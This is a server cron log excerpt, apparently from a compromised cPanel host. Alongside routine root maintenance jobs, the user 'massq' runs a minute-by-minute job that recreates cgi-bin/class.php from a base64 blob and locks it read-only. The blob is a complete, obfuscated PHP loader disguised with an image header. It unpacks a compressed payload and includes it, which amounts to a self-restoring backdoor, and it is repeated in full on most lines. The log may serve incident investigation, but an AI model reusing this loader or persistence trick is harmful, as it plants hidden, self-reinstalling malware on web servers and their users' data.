KF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:39:01 server CROND[5848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:39:01 server CROND[5849]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 10:40:01 server CROND[6031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:40:01 server CROND[6032]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 10:40:01 server CROND[6033]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:40:01 server CROND[6034]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:41:01 server CROND[6171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:42:01 server CROND[6260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:42:01 server CROND[6261]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 10:43:01 server CROND[6339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:44:01 server CROND[6424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:45:01 server CROND[6587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:45:01 server CROND[6589]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:45:01 server CROND[6588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:46:01 server CROND[6714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:47:01 server CROND[6790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:48:01 server CROND[6855]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:49:01 server CROND[6941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:50:01 server CROND[7099]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:50:01 server CROND[7100]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 10:50:01 server CROND[7102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:50:01 server CROND[7103]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 10:50:01 server CROND[7104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:51:01 server CROND[7240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
